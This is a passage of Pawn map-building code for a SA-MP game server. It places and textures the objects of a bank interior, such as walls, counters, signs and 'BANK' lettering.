        SetDynamicObjectMaterial( AG_Bank3[231], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[232], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[233], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[234], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);

        AG_Bank3[235] = CreateDynamicObject(19444, 1399.60815, 1322.03906, 1505.27942,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[236] = CreateDynamicObject(19444, 1399.64014, 1322.07104, 1505.27942,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[237] = CreateDynamicObject(19444, 1400.23059, 1311.76746, 1505.27942,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[238] = CreateDynamicObject(19444, 1400.19849, 1311.74329, 1505.27942,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[239] = CreateDynamicObject(19444, 1400.95520, 1322.03906, 1505.27942,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[240] = CreateDynamicObject(19444, 1403.64917, 1322.03906, 1505.27942,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[241] = CreateDynamicObject(19444, 1402.30225, 1322.03906, 1505.27942,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[242] = CreateDynamicObject(19444, 1404.99622, 1322.03906, 1505.27942,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[243] = CreateDynamicObject(19444, 1406.34314, 1322.03906, 1505.27942,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[244] = CreateDynamicObject(19444, 1407.69006, 1322.03906, 1505.27942,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[245] = CreateDynamicObject(19444, 1409.03711, 1322.03906, 1505.27942,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[246] = CreateDynamicObject(19444, 1410.38416, 1322.03906, 1505.27942,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[247] = CreateDynamicObject(19444, 1400.98706, 1322.07104, 1505.27942,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[248] = CreateDynamicObject(19444, 1402.33411, 1322.07104, 1505.27942,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[249] = CreateDynamicObject(19444, 1403.68115, 1322.07104, 1505.27942,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[250] = CreateDynamicObject(19444, 1405.02820, 1322.07104, 1505.27942,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[251] = CreateDynamicObject(19444, 1406.37524, 1322.07104, 1505.27942,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[252] = CreateDynamicObject(19444, 1407.72217, 1322.07104, 1505.27942,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[253] = CreateDynamicObject(19444, 1409.06921, 1322.07104, 1505.27942,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[254] = CreateDynamicObject(19444, 1410.41626, 1322.07104, 1505.27942,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[255] = CreateDynamicObject(19444, 1401.57764, 1311.76746, 1505.27942,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[256] = CreateDynamicObject(19444, 1401.54553, 1311.74329, 1505.27942,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[257] = CreateDynamicObject(19444, 1402.89246, 1311.74329, 1505.27942,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[258] = CreateDynamicObject(19444, 1402.92456, 1311.76746, 1505.27942,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[259] = CreateDynamicObject(19444, 1404.27161, 1311.76746, 1505.27942,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[260] = CreateDynamicObject(19444, 1404.23950, 1311.74329, 1505.27942,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[261] = CreateDynamicObject(19444, 1405.58655, 1311.74329, 1505.27942,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[262] = CreateDynamicObject(19444, 1405.61865, 1311.76746, 1505.27942,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[263] = CreateDynamicObject(19444, 1406.93347, 1311.74329, 1505.27942,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[264] = CreateDynamicObject(19444, 1406.96570, 1311.76746, 1505.27942,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[265] = CreateDynamicObject(19444, 1408.28052, 1311.74329, 1505.27942,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[266] = CreateDynamicObject(19444, 1408.31274, 1311.76746, 1505.27942,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[267] = CreateDynamicObject(19444, 1409.65967, 1311.76746, 1505.27942,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[268] = CreateDynamicObject(19444, 1409.62744, 1311.74329, 1505.27942,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank3[235], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[236], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[237], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[238], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[239], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[240], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[241], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[242], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[243], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[244], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[245], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[246], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[247], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[248], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[249], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[250], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[251], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[252], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[253], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[254], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[255], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[256], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[257], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[258], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[259], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[260], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[261], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[262], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[263], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[264], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[265], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[266], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[267], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[268], 0, 1223, "dynsigns", "white64", 0xFF000000);

        AG_Bank3[269] = CreateDynamicObject(19327,1408.101,1310.651,1502.122,0.000,73.999,180.000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank3[269], 0,"(",  130, "Ariel", 199, 0, -9591092, 0, 1);
        AG_Bank3[270] = CreateDynamicObject(19327,1406.402,1310.648,1502.151,0.000,0.000,180.000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank3[270], 0, "Local",  130, "Ariel", 140, 1, -9591092, 0, 1);
        AG_Bank3[271] = CreateDynamicObject(19327,1407.198,1310.647,1501.959,0.000,-17.400,180.000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank3[271], 0, "(",  130, "Ariel", 35, 0, -9591092, 0, 0);
        AG_Bank3[272] = CreateDynamicObject(19327,1408.430,1310.648,1502.225,0.000,29.300,180.000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank3[272],  0,"(",  130, "Ariel", 38, 0, -9591092, 0, 1);
        AG_Bank3[273] = CreateDynamicObject(19327,1408.366,1310.647,1502.266,0.000,75.399,180.000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank3[273], 0, "(",  130, "Ariel", 35, 0, -9591092, 0, 1);
        AG_Bank3[274] = CreateDynamicObject(19327,1408.285,1310.645,1502.351,0.000,24.700,180.000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank3[274], 0, "(",  130, "Ariel", 38, 0, -9591092, 0, 1);
        AG_Bank3[275] = CreateDynamicObject(19327,1408.177,1310.645,1502.404,0.000,85.000,180.000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank3[275], 0, "(",  130, "Ariel", 46, 0, -9591092, 0, 1);
        AG_Bank3[276] = CreateDynamicObject(19327,1408.063,1310.645,1502.323,0.000,157.600,180.000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank3[276],  0,"(",  130, "Ariel", 38, 0, -9591092, 0, 1);
        AG_Bank3[277] = CreateDynamicObject(19327,1407.996,1310.644,1502.274,0.000,84.299,180.000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank3[277], 0, "(",  130, "Ariel", 26, 0, -9591092, 0, 1);
        AG_Bank3[278] = CreateDynamicObject(19327,1407.931,1310.648,1502.238,0.000,135.099,180.000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank3[278], 0, "(",  130, "Ariel", 32, 0, -9591092, 0, 1);
        AG_Bank3[279] = CreateDynamicObject(19327,1407.910,1310.648,1502.185,0.000,168.099,180.000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank3[279], 0, "(",  130, "Ariel", 26, 0, -9591092, 0, 1);
        AG_Bank3[280] = CreateDynamicObject(19327,1404.164,1310.648,1502.143,0.000,0.000,180.000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank3[280], 0, "BANK",  130, "Ariel", 140, 0, -9591092, 0, 1);

        AG_Bank3[281] = CreateDynamicObject(19443, 1404.47388, 1310.55396, 1502.10974,   90.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[282] = CreateDynamicObject(19443, 1407.69995, 1310.55200, 1502.10974,   90.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank3[281], 0, 1223, "dynsigns", "white64", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank3[282], 0, 1223, "dynsigns", "white64", 0xFFBCE4FA);

        AG_Bank3[283] = CreateDynamicObject(19444, 1409.51624, 1308.96753, 1502.10974,   90.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[284] = CreateDynamicObject(19444, 1402.69995, 1308.96753, 1502.10974,   90.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[285] = CreateDynamicObject(19444, 1404.36157, 1309.91602, 1502.85925,   0.00000, 90.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[286] = CreateDynamicObject(19444, 1407.85596, 1309.91602, 1502.85925,   0.00000, 90.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[287] = CreateDynamicObject(19444, 1407.85596, 1309.91602, 1501.31616,   0.00000, 90.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[288] = CreateDynamicObject(19444, 1404.36157, 1309.91602, 1501.31616,   0.00000, 90.00000, 0.00000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank3[283], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank3[284], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank3[285], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank3[286], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank3[287], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank3[288], 0, 10226, "sfeship1", "CJ_WOOD5", 0);

        AG_Bank3[292] = CreateDynamicObject(19089, 1412.64795, 1315.85596, 1502.58105,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[293] = CreateDynamicObject(19089, 1412.64795, 1315.83801, 1502.58105,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[294] = CreateDynamicObject(1566, 1412.68774, 1315.84473, 1501.10034,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[295] = CreateDynamicObject(1566, 1412.68774, 1314.26196, 1501.10034,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[296] = CreateDynamicObject(2040, 1412.62488, 1315.81836, 1502.68420,   0.00000, 90.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[297] = CreateDynamicObject(1854, 1412.67542, 1315.82080, 1502.66687,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank3[297], 0, 2360, "shopping_acc", "white", 0xFFCC0000);
        SetDynamicObjectMaterial( AG_Bank3[296], 0, 2360, "shopping_acc", "white", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[292], 0, 2360, "shopping_acc", "white", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[293], 0, 2360, "shopping_acc", "white", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[294], 0, 19325, "lsmall_shops", "lsmall_window01", 0);
        SetDynamicObjectMaterial( AG_Bank3[295], 0, 19325, "lsmall_shops", "lsmall_window01", 0);

        CreateDynamicObject(1886, 1409.31372, 1323.80005, 1503.57764,   20.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(1886, 1407.03870, 1323.80005, 1503.57764,   20.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(1886, 1402.94373, 1323.80005, 1503.57764,   20.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(1886, 1400.66870, 1323.80005, 1503.57764,   20.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(2269, 1406.17676, 1323.37561, 1501.53857,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(2266, 1399.11719, 1311.73401, 1502.31775,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(2270, 1392.39514, 1319.99866, 1501.76013,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(2265, 1393.06165, 1328.87427, 1501.90894,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(1965, 1389.72009, 1318.92175, 1497.80042,   180.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);


*/



BankMapLS = CreateDynamicObject(1566 , 1412.687744 , 1315.844727 , 1501.100342 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 19325 , "lsmall_shops" , "lsmall_window01" , 0);
BankMapLS = CreateDynamicObject(1566 , 1412.687744 , 1314.261963 , 1501.100342 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 19325 , "lsmall_shops" , "lsmall_window01" , 0);
BankMapLS = CreateDynamicObject(1854 , 1412.675415 , 1315.820801 , 1502.666870 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 2360 , "shopping_acc" , "white" , -16776961);
SetDynamicObjectMaterial(BankMapLS , 0 , 2360 , "shopping_acc" , "white" , -16711936);
SetDynamicObjectMaterial(BankMapLS , 0 , 2360 , "shopping_acc" , "white" , -16776961);
SetDynamicObjectMaterial(BankMapLS , 0 , 2360 , "shopping_acc" , "white" , -16711936);
BankMapLS = CreateDynamicObject(19377 , 1397.054443 , 1320.608643 , 1500.000000 , 0.000000 , 90.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10938 , "skyscrap_sfse" , "concpanel_la" , -1);
BankMapLS = CreateDynamicObject(19377 , 1402.863647 , 1310.978149 , 1499.998047 , 0.000000 , 90.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10938 , "skyscrap_sfse" , "concpanel_la" , -1);
BankMapLS = CreateDynamicObject(19377 , 1407.384155 , 1320.600708 , 1499.998047 , 0.000000 , 90.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10938 , "skyscrap_sfse" , "concpanel_la" , -1);
BankMapLS = CreateDynamicObject(19377 , 1407.384644 , 1310.978760 , 1500.001953 , 0.000000 , 90.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10938 , "skyscrap_sfse" , "concpanel_la" , -1);
BankMapLS = CreateDynamicObject(19377 , 1392.752686 , 1330.161499 , 1500.001953 , 0.000000 , 90.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10938 , "skyscrap_sfse" , "concpanel_la" , -1);
BankMapLS = CreateDynamicObject(14407 , 1395.546753 , 1314.594604 , 1496.879639 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10938 , "skyscrap_sfse" , "concpanel_la" , -10329502);
BankMapLS = CreateDynamicObject(19377 , 1392.391724 , 1314.380127 , 1497.027466 , 0.000000 , 90.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10938 , "skyscrap_sfse" , "concpanel_la" , -10329502);
BankMapLS = CreateDynamicObject(2229 , 1409.877441 , 1320.262939 , 1500.076294 , 0.000000 , 0.000000 , 180.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
BankMapLS = CreateDynamicObject(2229 , 1410.491699 , 1321.155518 , 1500.078247 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
BankMapLS = CreateDynamicObject(2229 , 1410.491333 , 1321.591064 , 1500.076172 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
BankMapLS = CreateDynamicObject(2229 , 1407.953369 , 1320.262939 , 1500.076294 , 0.000000 , 0.000000 , 180.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
BankMapLS = CreateDynamicObject(2229 , 1408.567627 , 1321.155518 , 1500.078247 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
BankMapLS = CreateDynamicObject(2229 , 1406.029419 , 1320.262939 , 1500.076294 , 0.000000 , 0.000000 , 180.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
BankMapLS = CreateDynamicObject(2229 , 1406.643555 , 1321.155518 , 1500.078247 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
BankMapLS = CreateDynamicObject(2229 , 1406.643311 , 1321.591064 , 1500.076172 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
BankMapLS = CreateDynamicObject(2229 , 1403.624390 , 1320.262939 , 1500.076294 , 0.000000 , 0.000000 , 180.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
BankMapLS = CreateDynamicObject(2229 , 1404.238647 , 1321.155518 , 1500.078247 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
BankMapLS = CreateDynamicObject(2229 , 1404.235474 , 1321.610840 , 1500.076172 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
BankMapLS = CreateDynamicObject(2229 , 1401.700439 , 1320.262939 , 1500.076294 , 0.000000 , 0.000000 , 180.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
BankMapLS = CreateDynamicObject(2229 , 1402.314575 , 1321.155518 , 1500.078247 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
BankMapLS = CreateDynamicObject(2229 , 1399.776367 , 1320.262939 , 1500.076294 , 0.000000 , 0.000000 , 180.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
BankMapLS = CreateDynamicObject(2229 , 1400.390625 , 1321.155518 , 1500.078247 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
BankMapLS = CreateDynamicObject(2229 , 1400.387451 , 1321.610840 , 1500.076172 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
BankMapLS = CreateDynamicObject(1783 , 1409.686523 , 1320.721313 , 1501.023682 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLS , 2 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
BankMapLS = CreateDynamicObject(1783 , 1409.050537 , 1320.721313 , 1501.023682 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLS , 2 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
BankMapLS = CreateDynamicObject(1783 , 1408.414551 , 1320.721313 , 1501.023682 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLS , 2 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
BankMapLS = CreateDynamicObject(1783 , 1407.778564 , 1320.721313 , 1501.023682 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
